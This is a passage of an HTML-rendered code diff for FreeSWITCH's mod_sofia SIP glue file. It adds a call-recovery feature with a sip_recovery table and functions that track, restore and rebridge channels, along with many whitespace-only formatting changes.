</span><span class="cx">                                                 mimp = near_match;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (!maxptime || mimp->microseconds_per_packet / 1000 <= maxptime) {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Substituting codec %s@%ui@%uh\n",
</span><span class="cx">                                                                                  mimp->iananame, mimp->microseconds_per_packet / 1000, mimp->samples_per_second);
</span><span class="lines">@@ -3440,7 +3539,7 @@
</span><span class="cx">                                                 mimp = NULL;
</span><span class="cx">                                                 match = 0;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 if (!match && greedy) {
</span><span class="lines">@@ -3454,7 +3553,7 @@
</span><span class="cx">                                         tech_pvt->iananame = switch_core_session_strdup(session, (char *) mimp->iananame);
</span><span class="cx">                                         tech_pvt->pt = (switch_payload_t) map->rm_pt;
</span><span class="cx">                                         tech_pvt->rm_rate = map->rm_rate;
</span><del>-                                        if (!strcasecmp((char *) mimp->iananame, "ilbc") && zstr((char*)map->rm_fmtp)) {
</del><ins>+                                        if (!strcasecmp((char *) mimp->iananame, "ilbc") && zstr((char *) map->rm_fmtp)) {
</ins><span class="cx">                                                 /* default to 30 when no mode is defined for ilbc ONLY */
</span><span class="cx">                                                 tech_pvt->codec_ms = 30;
</span><span class="cx">                                         } else {
</span><span class="lines">@@ -3563,8 +3662,8 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
- done:
</del><ins>+
+ done:
</ins><span class="cx">         tech_pvt->cng_pt = cng_pt;
</span><span class="cx">         sofia_set_flag_locked(tech_pvt, TFLAG_SDP);
</span><span class="cx">
</span><span class="lines">@@ -3645,9 +3744,9 @@
</span><span class="cx">                 other_channel = switch_core_session_get_channel(other_session);
</span><span class="cx">                 switch_channel_set_variable(other_channel, SWITCH_B_SDP_VARIABLE, sdp);
</span><span class="cx">
</span><del>-                if (!sofia_test_flag(tech_pvt, TFLAG_CHANGE_MEDIA) && (switch_channel_test_flag(other_channel, CF_OUTBOUND) &&
-                                                                                                                                switch_channel_test_flag(tech_pvt->channel, CF_OUTBOUND) &&
-                                                                                                                                switch_channel_test_flag(tech_pvt->channel, CF_PROXY_MODE))) {
</del><ins>+                if (!sofia_test_flag(tech_pvt, TFLAG_CHANGE_MEDIA) && !sofia_test_flag(tech_pvt, TFLAG_RECOVERING) &&
+                        (switch_channel_test_flag(other_channel, CF_OUTBOUND) &&
+                         switch_channel_test_flag(tech_pvt->channel, CF_OUTBOUND) && switch_channel_test_flag(tech_pvt->channel, CF_PROXY_MODE))) {
</ins><span class="cx">                         switch_ivr_nomedia(val, SMF_FORCE);
</span><span class="cx">                         sofia_set_flag_locked(tech_pvt, TFLAG_CHANGE_MEDIA);
</span><span class="cx">                 }
</span><span class="lines">@@ -3748,12 +3847,12 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><del>-void sofia_glue_restart_all_profiles(void)
</del><ins>+void sofia_glue_restart_all_profiles(void)
</ins><span class="cx"> {
</span><span class="cx">         switch_hash_index_t *hi;
</span><span class="cx">         const void *var;
</span><del>- void *val;
- sofia_profile_t *pptr;
</del><ins>+        void *val;
+        sofia_profile_t *pptr;
</ins><span class="cx">         switch_xml_t xml_root;
</span><span class="cx">         const char *err;
</span><span class="cx">
</span><span class="lines">@@ -3764,9 +3863,9 @@
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(mod_sofia_globals.hash_mutex);
</span><span class="cx">         if (mod_sofia_globals.profile_hash) {
</span><del>- for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
</del><ins>+                for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
</ins><span class="cx">                         switch_hash_this(hi, &var, NULL, &val);
</span><del>- if ((pptr = (sofia_profile_t *) val)) {
</del><ins>+                        if ((pptr = (sofia_profile_t *) val)) {
</ins><span class="cx">                                 int rsec = 10;
</span><span class="cx">                                 int diff = (int) (switch_epoch_time_now(NULL) - pptr->started);
</span><span class="cx">                                 int remain = rsec - diff;
</span><span class="lines">@@ -3775,7 +3874,7 @@
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 if (diff < rsec) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
</ins><span class="cx">                                                                          "Profile %s must be up for at least %d seconds to stop/restart.\nPlease wait %d second%s\n",
</span><span class="cx">                                                                          pptr->name, rsec, remain, remain == 1 ? "" : "s");
</span><span class="cx">                                         continue;
</span><span class="lines">@@ -3798,7 +3897,7 @@
</span><span class="cx">         const void *var;
</span><span class="cx">         void *val;
</span><span class="cx">         sofia_profile_t *pptr;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(mod_sofia_globals.hash_mutex);
</span><span class="cx">         if (mod_sofia_globals.profile_hash) {
</span><span class="cx">                 for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="lines">@@ -3827,6 +3926,342 @@
</span><span class="cx">         switch_mutex_unlock(mod_sofia_globals.hash_mutex);
</span><span class="cx"> }
</span><span class="cx">
</span><ins>+
+static int rebridge_callback(void *pArg, int argc, char **argv, char **columnNames)
+{
+        char *uuid = argv[2];
+        switch_core_session_t *session;
+
+        if ((session = switch_core_session_locate(uuid))) {
+                switch_channel_t *channel = switch_core_session_get_channel(session);
+                private_object_t *tech_pvt = (private_object_t *) switch_core_session_get_private(session);
+
+                if (sofia_test_flag(tech_pvt, TFLAG_RECOVERING_BRIDGE)) {
+                        switch_channel_wait_for_state_timeout(channel, CS_INIT, 10000);
+                        switch_channel_set_state(channel, CS_RESET);
+                }
+                switch_core_session_rwunlock(session);
+        }
+
+        return 0;
+}
+
+struct recover_helper {
+        sofia_profile_t *profile;
+        int total;
+};
+
+
+static int recover_callback(void *pArg, int argc, char **argv, char **columnNames)
+{
+        struct recover_helper *h = (struct recover_helper *) pArg;
+        switch_xml_t xml;
+        switch_core_session_t *session;
+        switch_channel_t *channel;
+        private_object_t *tech_pvt = NULL;
+        const char *tmp;
+
+        xml = switch_xml_parse_str_dynamic(argv[3], SWITCH_TRUE);
+
+        if (!xml)
+                return 0;
+
+        if (!(session = switch_core_session_request_xml(sofia_endpoint_interface, NULL, xml))) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "skipping non-bridged entry\n");
+                return 0;
+        }
+
+        if (!(tech_pvt = (private_object_t *) switch_core_session_alloc(session, sizeof(private_object_t)))) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Hey where is my memory pool?\n");
+                switch_core_session_destroy(&session);
+                return 0;
+        }
+
+        channel = tech_pvt->channel = switch_core_session_get_channel(session);
+
+        switch_mutex_init(&tech_pvt->flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
+        switch_mutex_init(&tech_pvt->sofia_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
+
+        tech_pvt->remote_ip = (char *) switch_channel_get_variable(channel, "sip_network_ip");
+        tech_pvt->remote_port = atoi(switch_str_nil(switch_channel_get_variable(channel, "sip_network_port")));
+        tech_pvt->caller_profile = switch_channel_get_caller_profile(channel);
+
+
+
+
+
+        if (switch_channel_direction(channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
+                tech_pvt->dest = switch_core_session_sprintf(session, "sip:%s", switch_channel_get_variable(channel, "sip_req_uri"));
+                switch_channel_set_variable(channel, "sip_invite_full_via", switch_channel_get_variable(channel, "sip_full_via"));
+
+                switch_channel_set_variable(channel, "sip_handle_full_from", switch_channel_get_variable(channel, "sip_full_from"));
+                switch_channel_set_variable(channel, "sip_handle_full_to", switch_channel_get_variable(channel, "sip_full_to"));
+        } else {
+
+
+                switch_channel_set_variable_printf(channel, "sip_invite_route_uri", "<sip:%s@%s:%s;lr>",
+                                                                                 switch_channel_get_variable(channel, "sip_from_user"),
+                                                                                 switch_channel_get_variable(channel, "sip_network_ip"), switch_channel_get_variable(channel, "sip_network_port")
+                        );
+
+                tech_pvt->dest = switch_core_session_sprintf(session, "sip:%s", switch_channel_get_variable(channel, "sip_from_uri"));
+
+                if (!switch_channel_get_variable_dup(channel, "sip_handle_full_from", SWITCH_FALSE)) {
+                        switch_channel_set_variable(channel, "sip_handle_full_from", switch_channel_get_variable(channel, "sip_full_to"));
+                }
+
+                if (!switch_channel_get_variable_dup(channel, "sip_handle_full_to", SWITCH_FALSE)) {
+                        switch_channel_set_variable(channel, "sip_handle_full_to", switch_channel_get_variable(channel, "sip_full_from"));
+                }
+        }
+
+        tech_pvt->dest_to = tech_pvt->dest;
+
+        sofia_glue_attach_private(session, h->profile, tech_pvt, NULL);
+        switch_channel_set_name(tech_pvt->channel, switch_channel_get_variable(channel, "channel_name"));
+
+
+        if ((tmp = switch_channel_get_variable(channel, "sip_local_sdp_str"))) {
+                tech_pvt->local_sdp_str = switch_core_session_strdup(session, tmp);
+        }
+
+        if ((tmp = switch_channel_get_variable(channel, "switch_r_sdp"))) {
+                tech_pvt->remote_sdp_str = switch_core_session_strdup(session, tmp);
+        }
+
+        switch_channel_set_variable(channel, "sip_invite_call_id", switch_channel_get_variable(channel, "sip_call_id"));
+
+        if (switch_true(switch_channel_get_variable(channel, "sip_nat_detected"))) {
+                switch_channel_set_variable_printf(channel, "sip_route_uri", "sip:%s@%s:%s",
+                                                                                 switch_channel_get_variable(channel, "sip_req_user"),
+                                                                                 switch_channel_get_variable(channel, "sip_network_ip"), switch_channel_get_variable(channel, "sip_network_port")
+                        );
+        }
+
+        if (session) {
+                switch_caller_extension_t *extension = NULL;
+                const char *ip = switch_channel_get_variable(channel, SWITCH_LOCAL_MEDIA_IP_VARIABLE);
+                const char *port = switch_channel_get_variable(channel, SWITCH_LOCAL_MEDIA_PORT_VARIABLE);
+                const char *r_ip = switch_channel_get_variable(channel, SWITCH_REMOTE_MEDIA_IP_VARIABLE);
+                const char *r_port = switch_channel_get_variable(channel, SWITCH_REMOTE_MEDIA_PORT_VARIABLE);
+
+                if (!switch_channel_test_flag(channel, CF_PROXY_MODE) && ip && port) {
+                        const char *tmp;
+                        tech_pvt->iananame = tech_pvt->rm_encoding = (char *) switch_channel_get_variable(channel, "sip_use_codec_name");
+                        tech_pvt->rm_fmtp = (char *) switch_channel_get_variable(channel, "sip_use_codec_fmtp");
+
+                        if ((tmp = switch_channel_get_variable(channel, "sip_use_codec_rate"))) {
+                                tech_pvt->rm_rate = atoi(tmp);
+                        }
+
+                        if ((tmp = switch_channel_get_variable(channel, "sip_use_codec_ptime"))) {
+                                tech_pvt->codec_ms = atoi(tmp);
+                        }
+
+                        if ((tmp = switch_channel_get_variable(channel, "sip_use_pt"))) {
+                                tech_pvt->agreed_pt = atoi(tmp);
+                        }
+
+                        sofia_glue_tech_set_codec(tech_pvt, 1);
+
+                        tech_pvt->adv_sdp_audio_ip = tech_pvt->extrtpip = (char *) ip;
+                        tech_pvt->adv_sdp_audio_port = tech_pvt->local_sdp_audio_port = atoi(port);
+                        tech_pvt->local_sdp_audio_ip = tech_pvt->profile->rtpip;
+
+                        if (r_ip && r_port) {
+                                tech_pvt->remote_sdp_audio_ip = (char *) r_ip;
+                                tech_pvt->remote_sdp_audio_port = atoi(r_port);
+                        }
+                        
+                        if (switch_channel_test_flag(channel, CF_VIDEO)) {                                                                
+                                if ((tmp = switch_channel_get_variable(channel, "sip_use_video_pt"))) {
+                                        tech_pvt->video_pt = tech_pvt->video_agreed_pt = atoi(tmp);
+                                }
+                                
+
+                                tech_pvt->video_rm_encoding = (char *) switch_channel_get_variable(channel, "sip_use_video_codec_name");
+                                tech_pvt->video_rm_fmtp = (char *) switch_channel_get_variable(channel, "sip_use_video_codec_fmtp");
+
+                                ip = switch_channel_get_variable(channel, SWITCH_LOCAL_VIDEO_IP_VARIABLE);
+                                port = switch_channel_get_variable(channel, SWITCH_LOCAL_VIDEO_PORT_VARIABLE);
+                                r_ip = switch_channel_get_variable(channel, SWITCH_REMOTE_VIDEO_IP_VARIABLE);
+                                r_port = switch_channel_get_variable(channel, SWITCH_REMOTE_VIDEO_PORT_VARIABLE);
+                                
+                                sofia_set_flag(tech_pvt, TFLAG_VIDEO);
+
+                                if ((tmp = switch_channel_get_variable(channel, "sip_use_video_codec_rate"))) {
+                                        tech_pvt->video_rm_rate = atoi(tmp);
+                                }
+                                
+                                if ((tmp = switch_channel_get_variable(channel, "sip_use_video_codec_ptime"))) {
+                                        tech_pvt->video_codec_ms = atoi(tmp);
+                                }
+
+                                tech_pvt->adv_sdp_video_port = tech_pvt->local_sdp_video_port = atoi(port);
+                                
+                                if (r_ip && r_port) {
+                                        tech_pvt->remote_sdp_video_ip = (char *) r_ip;
+                                        tech_pvt->remote_sdp_video_port = atoi(r_port);
+                                }
+
+                                //sofia_glue_tech_set_video_codec(tech_pvt, 1);
+                        }
+
+                        sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 1);
+                        
+                        sofia_glue_activate_rtp(tech_pvt, 0);
+                }
+
+                sofia_set_flag(tech_pvt, TFLAG_RECOVERING);
+
+                if (switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE)) {
+                        sofia_set_flag(tech_pvt, TFLAG_RECOVERING_BRIDGE);
+                } else {
+                        switch_xml_t callflow, param, x_extension;
+                        if ((extension = switch_caller_extension_new(session, "recovery", "recovery")) == 0) {
+                                abort();
+                        }
+
+                        if ((callflow = switch_xml_child(xml, "callflow")) && (x_extension = switch_xml_child(callflow, "extension"))) {
+                                for (param = switch_xml_child(x_extension, "application"); param; param = param->next) {
+                                        const char *var = switch_xml_attr_soft(param, "app_name");
+                                        const char *val = switch_xml_attr_soft(param, "app_data");
+                                        switch_caller_extension_add_application(session, extension, var, val);
+                                }
+                        }
+                        
+                        switch_channel_set_caller_extension(channel, extension);
+                }
+
+                switch_channel_set_state(channel, CS_INIT);
+        }
+
+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Resurrecting fallen channel %s\n", switch_channel_get_name(channel));
+
+        switch_core_session_thread_launch(session);
+        switch_xml_free(xml);
+
+        h->total++;
+
+        return 0;
+
+}
+
+int sofia_glue_recover(switch_bool_t flush)
+{
+        switch_hash_index_t *hi;
+        const void *var;
+        void *val;
+        sofia_profile_t *profile;
+        char *sql;
+        int r = 0;
+
+        switch_mutex_lock(mod_sofia_globals.hash_mutex);
+        if (mod_sofia_globals.profile_hash) {
+                for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
+                        switch_hash_this(hi, &var, NULL, &val);
+
+                        if ((profile = (sofia_profile_t *) val)) {
+                                struct recover_helper h = { 0 };
+                                h.profile = profile;
+                                h.total = 0;
+
+                                if (strcmp((char *) var, profile->name)) {
+                                        continue;
+                                }
+
+                                if (flush) {
+                                        sql = switch_mprintf("delete from sip_recovery where profile_name='%q'", profile->name);
+                                        sofia_glue_execute_sql_now(profile, &sql, SWITCH_TRUE);
+                                } else {
+
+                                        sql = switch_mprintf("select profile_name, hostname, uuid, metadata "
+                                                                                 "from sip_recovery where runtime_uuid!='%q' and profile_name='%q'", switch_core_get_uuid(), profile->name);
+
+                                        sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, recover_callback, &h);
+                                        r += h.total;
+                                        free(sql);
+                                        sql = NULL;
+
+                                        sql = switch_mprintf("select profile_name, hostname, uuid "
+                                                                                 "from sip_recovery where runtime_uuid!='%q' and profile_name='%q'", switch_core_get_uuid(), profile->name);
+
+                                        sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, rebridge_callback, NULL);
+                                        free(sql);
+                                        sql = NULL;
+
+                                        sql = switch_mprintf("delete "
+                                                                                 "from sip_recovery where runtime_uuid!='%q' and profile_name='%q'", switch_core_get_uuid(), profile->name);
+
+                                        sofia_glue_execute_sql_now(profile, &sql, SWITCH_TRUE);
+                                }
+                        }
+                }
+        }
+        switch_mutex_unlock(mod_sofia_globals.hash_mutex);
+
+        return r;
+}
+
+void sofia_glue_tech_untrack(sofia_profile_t *profile, switch_core_session_t *session, switch_bool_t force)
+{
+        char *sql;
+        private_object_t *tech_pvt = (private_object_t *) switch_core_session_get_private(session);
+
+        if (!sofia_test_pflag(profile, PFLAG_TRACK_CALLS) || (sofia_test_flag(tech_pvt, TFLAG_RECOVERING))) {
+                return;
+        }
+
+        if (sofia_test_pflag(profile, PFLAG_TRACK_CALLS) && (sofia_test_flag(tech_pvt, TFLAG_TRACKED) || force)) {
+
+                if (force) {
+                        sql = switch_mprintf("delete from sip_recovery where uuid='%q'", switch_core_session_get_uuid(session));
+
+                } else {
+                        sql = switch_mprintf("delete from sip_recovery where runtime_uuid='%q' and uuid='%q'",
+                                                                 switch_core_get_uuid(), switch_core_session_get_uuid(session));
+                }
+                sofia_glue_execute_sql_now(profile, &sql, SWITCH_TRUE);
+                sofia_clear_flag(tech_pvt, TFLAG_TRACKED);
+        }
+}
+
+void sofia_glue_tech_track(sofia_profile_t *profile, switch_core_session_t *session)
+{
+        switch_event_t *event;
+        private_object_t *tech_pvt = (private_object_t *) switch_core_session_get_private(session);
+
+        if (!sofia_test_pflag(profile, PFLAG_TRACK_CALLS) || sofia_test_flag(tech_pvt, TFLAG_RECOVERING)) {
+                return;
+        }
+
+        if (sofia_test_flag(tech_pvt, TFLAG_TRACKED)) {
+                sofia_glue_tech_untrack(profile, session, SWITCH_TRUE);
+        }
+
+        if (switch_event_create(&event, SWITCH_EVENT_CHANNEL_DATA) == SWITCH_STATUS_SUCCESS) {
+                switch_xml_t cdr = NULL;
+                char *xml_cdr_text = NULL;
+
+                if (switch_ivr_generate_xml_cdr(session, &cdr) == SWITCH_STATUS_SUCCESS) {
+                        xml_cdr_text = switch_xml_toxml(cdr, SWITCH_FALSE);
+                        switch_xml_free(cdr);
+                }
+
+                if (xml_cdr_text) {
+                        char *sql;
+                        sql = switch_mprintf("insert into sip_recovery (runtime_uuid, profile_name, hostname, uuid, metadata) values ('%q','%q','%q','%q','%q')",
+                                                                 switch_core_get_uuid(), profile->name, mod_sofia_globals.hostname, switch_core_session_get_uuid(session), xml_cdr_text);
+
+                        sofia_glue_execute_sql_now(profile, &sql, SWITCH_TRUE);
+                        free(xml_cdr_text);
+                        sofia_set_flag(tech_pvt, TFLAG_TRACKED);
+                }
+
+        }
+
+}
+
</ins><span class="cx"> int sofia_glue_init_sql(sofia_profile_t *profile)
</span><span class="cx"> {
</span><span class="cx">         char *test_sql = NULL;
</span><span class="lines">@@ -3858,20 +4293,21 @@
</span><span class="cx">                 " orig_hostname VARCHAR(255)\n"
</span><span class="cx">                 ");\n";
</span><span class="cx">
</span><ins>+        char recovery_sql[] =
+                "CREATE TABLE sip_recovery (\n"
+                " runtime_uuid VARCHAR(255),\n"
+                " profile_name VARCHAR(255),\n" " hostname VARCHAR(255),\n" " uuid VARCHAR(255),\n" " metadata text\n" ");\n";
</ins><span class="cx">
</span><span class="cx">         char pres_sql[] =
</span><span class="cx">                 "CREATE TABLE sip_presence (\n"
</span><span class="cx">                 " sip_user VARCHAR(255),\n"
</span><span class="cx">                 " sip_host VARCHAR(255),\n"
</span><span class="cx">                 " status VARCHAR(255),\n"
</span><del>-                " rpid VARCHAR(255),\n"
-                " expires INTEGER,\n"
-                " user_agent VARCHAR(255),\n"
-                " profile_name VARCHAR(255),\n"
-                " hostname VARCHAR(255),\n"
-                " network_ip VARCHAR(255),\n"
-                " network_port VARCHAR(6)\n"
-                ");\n";
</del><ins>+                " rpid VARCHAR(255),\n"
+                " expires INTEGER,\n"
+                " user_agent VARCHAR(255),\n"
+                " profile_name VARCHAR(255),\n"
+                " hostname VARCHAR(255),\n" " network_ip VARCHAR(255),\n" " network_port VARCHAR(6)\n" ");\n";
</ins><span class="cx">
</span><span class="cx">         char dialog_sql[] =
</span><span class="cx">                 "CREATE TABLE sip_dialogs (\n"
</span><span class="lines">@@ -3883,18 +4319,15 @@
</span><span class="cx">                 " sip_from_host VARCHAR(255),\n"
</span><span class="cx">                 " contact_user VARCHAR(255),\n"
</span><span class="cx">                 " contact_host VARCHAR(255),\n"
</span><del>-                " state VARCHAR(255),\n"
-                " direction VARCHAR(255),\n"
-                " user_agent VARCHAR(255),\n"
</del><ins>+                " state VARCHAR(255),\n"
+                " direction VARCHAR(255),\n"
+                " user_agent VARCHAR(255),\n"
</ins><span class="cx">                 " profile_name VARCHAR(255),\n"
</span><del>- " hostname VARCHAR(255),\n"
- " contact VARCHAR(255),\n"
- " presence_id VARCHAR(255),\n"
- " presence_data VARCHAR(255),\n"
- " call_info VARCHAR(255),\n"
- " call_info_state VARCHAR(255),\n"
- " expires INTEGER default 0\n"
-                ");\n";
</del><ins>+                " hostname VARCHAR(255),\n"
+                " contact VARCHAR(255),\n"
+                " presence_id VARCHAR(255),\n"
+                " presence_data VARCHAR(255),\n"
+                " call_info VARCHAR(255),\n" " call_info_state VARCHAR(255),\n" " expires INTEGER default 0\n" ");\n";
</ins><span class="cx">
</span><span class="cx">         char sub_sql[] =
</span><span class="cx">                 "CREATE TABLE sip_subscriptions (\n"
</span><span class="lines">@@ -3909,45 +4342,32 @@
</span><span class="cx">                 " call_id VARCHAR(255),\n"
</span><span class="cx">                 " full_from VARCHAR(255),\n"
</span><span class="cx">                 " full_via VARCHAR(255),\n"
</span><del>-                " expires INTEGER,\n"
-                " user_agent VARCHAR(255),\n"
</del><ins>+                " expires INTEGER,\n"
+                " user_agent VARCHAR(255),\n"
</ins><span class="cx">                 " accept VARCHAR(255),\n"
</span><span class="cx">                 " profile_name VARCHAR(255),\n"
</span><del>-                " hostname VARCHAR(255),\n"
-                " network_port VARCHAR(6),\n"
-                " network_ip VARCHAR(255)\n"
-                ");\n";
</del><ins>+                " hostname VARCHAR(255),\n" " network_port VARCHAR(6),\n" " network_ip VARCHAR(255)\n" ");\n";
</ins><span class="cx">
</span><del>-        char auth_sql[] =
-                "CREATE TABLE sip_authentication (\n"
-                " nonce VARCHAR(255),\n"
-                " expires INTEGER,"
-                " profile_name VARCHAR(255),\n"
-                " hostname VARCHAR(255),\n"
-                " last_nc INTEGER\n"
-                ");\n";
</del><ins>+        char auth_sql[] =
+                "CREATE TABLE sip_authentication (\n"
+                " nonce VARCHAR(255),\n"
+                " expires INTEGER," " profile_name VARCHAR(255),\n" " hostname VARCHAR(255),\n" " last_nc INTEGER\n" ");\n";
</ins><span class="cx">
</span><span class="cx">         /* should we move this glue to sofia_sla or keep it here where all db init happens? XXX MTK */
</span><del>-        char shared_appearance_sql[] =
</del><ins>+        char shared_appearance_sql[] =
</ins><span class="cx">                 "CREATE TABLE sip_shared_appearance_subscriptions (\n"
</span><span class="cx">                 " subscriber VARCHAR(255),\n"
</span><span class="cx">                 " call_id VARCHAR(255),\n"
</span><span class="cx">                 " aor VARCHAR(255),\n"
</span><span class="cx">                 " profile_name VARCHAR(255),\n"
</span><del>-                " hostname VARCHAR(255),\n"
-                " contact_str VARCHAR(255),\n"
-                " network_ip VARCHAR(255)\n"
-                ");\n";
</del><ins>+                " hostname VARCHAR(255),\n" " contact_str VARCHAR(255),\n" " network_ip VARCHAR(255)\n" ");\n";
</ins><span class="cx">
</span><del>-        char shared_appearance_dialogs_sql[] =
</del><ins>+        char shared_appearance_dialogs_sql[] =
</ins><span class="cx">                 "CREATE TABLE sip_shared_appearance_dialogs (\n"
</span><span class="cx">                 " profile_name VARCHAR(255),\n"
</span><span class="cx">                 " hostname VARCHAR(255),\n"
</span><span class="cx">                 " contact_str VARCHAR(255),\n"
</span><del>-                " call_id VARCHAR(255),\n"
-                " network_ip VARCHAR(255),\n"
-                " expires INTEGER\n"
-                ");\n";
</del><ins>+                " call_id VARCHAR(255),\n" " network_ip VARCHAR(255),\n" " expires INTEGER\n" ");\n";
</ins><span class="cx">
</span><span class="cx">         if (switch_odbc_available() && profile->odbc_dsn) {
</span><span class="cx">                 int x;
</span><span class="lines">@@ -3996,7 +4416,7 @@
</span><span class="cx">                         "create index ssd_contact_str on sip_shared_appearance_dialogs (contact_str)",
</span><span class="cx">                         "create index ssd_call_id on sip_shared_appearance_dialogs (call_id)",
</span><span class="cx">                         "create index ssd_expires on sip_shared_appearance_dialogs (expires)",
</span><del>-                        NULL        
</del><ins>+                        NULL
</ins><span class="cx">                 };
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -4009,9 +4429,9 @@
</span><span class="cx">                         switch_odbc_handle_destroy(&odbc_dbh);
</span><span class="cx">                         return 0;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Connected ODBC DSN: %s\n", profile->odbc_dsn);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 test_sql = switch_mprintf("delete from sip_registrations where (contact like '%%TCP%%' "
</span><span class="cx">                                                                  "or status like '%%TCP%%' or status like '%%TLS%%') and hostname='%q' "
</span><span class="cx">                                                                  "and network_ip like '%%' and network_port like '%%' and sip_username "
</span><span class="lines">@@ -4025,7 +4445,6 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">
</span><del>-
</del><span class="cx">                 if (sofia_test_pflag(profile, PFLAG_SQL_IN_TRANS)) {
</span><span class="cx">                         char *test2 = switch_mprintf("%s;%s", test_sql, test_sql);
</span><span class="cx">
</span><span class="lines">@@ -4033,15 +4452,15 @@
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "GREAT SCOTT!!! Cannot execute batched statements!\n"
</span><span class="cx">                                                                  "If you are using mysql, make sure you are using MYODBC 3.51.18 or higher and enable FLAG_MULTI_STATEMENTS\n");
</span><span class="cx">                                 sofia_clear_pflag(profile, PFLAG_SQL_IN_TRANS);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         }
</span><span class="cx">                         free(test2);
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                free(test_sql);                
</del><ins>+                free(test_sql);
</ins><span class="cx">
</span><span class="cx">
</span><del>-                test_sql = switch_mprintf("delete from sip_subscriptions where hostname='%q' and network_ip like '%%' and network_port like '%%'",
</del><ins>+                test_sql = switch_mprintf("delete from sip_subscriptions where hostname='%q' and network_ip like '%%' and network_port like '%%'",
</ins><span class="cx">                                                                  mod_sofia_globals.hostname);
</span><span class="cx">
</span><span class="cx">                 if (switch_odbc_handle_exec(odbc_dbh, test_sql, NULL, NULL) != SWITCH_ODBC_SUCCESS) {
</span><span class="lines">@@ -4050,7 +4469,7 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 free(test_sql);
</span><del>-                test_sql = switch_mprintf("delete from sip_dialogs where hostname='%q' and expires >= 0", mod_sofia_globals.hostname);
</del><ins>+                test_sql = switch_mprintf("delete from sip_dialogs where hostname='%q'", mod_sofia_globals.hostname);
</ins><span class="cx">
</span><span class="cx">                 if (switch_odbc_handle_exec(odbc_dbh, test_sql, NULL, NULL) != SWITCH_ODBC_SUCCESS) {
</span><span class="cx">                         switch_odbc_handle_exec(odbc_dbh, "DROP TABLE sip_dialogs", NULL, NULL);
</span><span class="lines">@@ -4091,6 +4510,18 @@
</span><span class="cx">                 free(test_sql);
</span><span class="cx">
</span><span class="cx">
</span><ins>+
+                test_sql = switch_mprintf("select count(profile_name) from sip_recovery where hostname='%q'", mod_sofia_globals.hostname);
+
+                if (switch_odbc_handle_exec(odbc_dbh, test_sql, NULL, NULL) != SWITCH_ODBC_SUCCESS) {
+                        switch_odbc_handle_exec(odbc_dbh, "DROP TABLE sip_recovery", NULL, NULL);
+                        switch_odbc_handle_exec(odbc_dbh, recovery_sql, NULL, NULL);
+                }
+
+                free(test_sql);
+
+
+
</ins><span class="cx">                 for (x = 0; indexes[x]; x++) {
</span><span class="cx">                         switch_odbc_handle_exec(odbc_dbh, indexes[x], NULL, NULL);
</span><span class="cx">                 }
</span><span class="lines">@@ -4113,12 +4544,12 @@
</span><span class="cx">                 switch_core_db_test_reactive(db, test_sql, "DROP TABLE sip_registrations", reg_sql);
</span><span class="cx">                 free(test_sql);
</span><span class="cx">
</span><del>-                test_sql = switch_mprintf("delete from sip_subscriptions where hostname='%q' and network_ip like '%%' or network_port like '%%'",
</del><ins>+                test_sql = switch_mprintf("delete from sip_subscriptions where hostname='%q' and network_ip like '%%' or network_port like '%%'",
</ins><span class="cx">                                                                  mod_sofia_globals.hostname);
</span><span class="cx">                 switch_core_db_test_reactive(db, test_sql, "DROP TABLE sip_subscriptions", sub_sql);
</span><span class="cx">                 free(test_sql);
</span><span class="cx">
</span><del>-                test_sql = switch_mprintf("delete from sip_dialogs where hostname='%q' and expires > 0", mod_sofia_globals.hostname);
</del><ins>+                test_sql = switch_mprintf("delete from sip_dialogs where hostname='%q'", mod_sofia_globals.hostname);
</ins><span class="cx">                 switch_core_db_test_reactive(db, test_sql, "DROP TABLE sip_dialogs", dialog_sql);
</span><span class="cx">                 free(test_sql);
</span><span class="cx">
</span><span class="lines">@@ -4130,7 +4561,7 @@
</span><span class="cx">                 switch_core_db_test_reactive(db, test_sql, "DROP TABLE sip_authentication", auth_sql);
</span><span class="cx">                 free(test_sql);
</span><span class="cx">
</span><del>-                
</del><ins>+
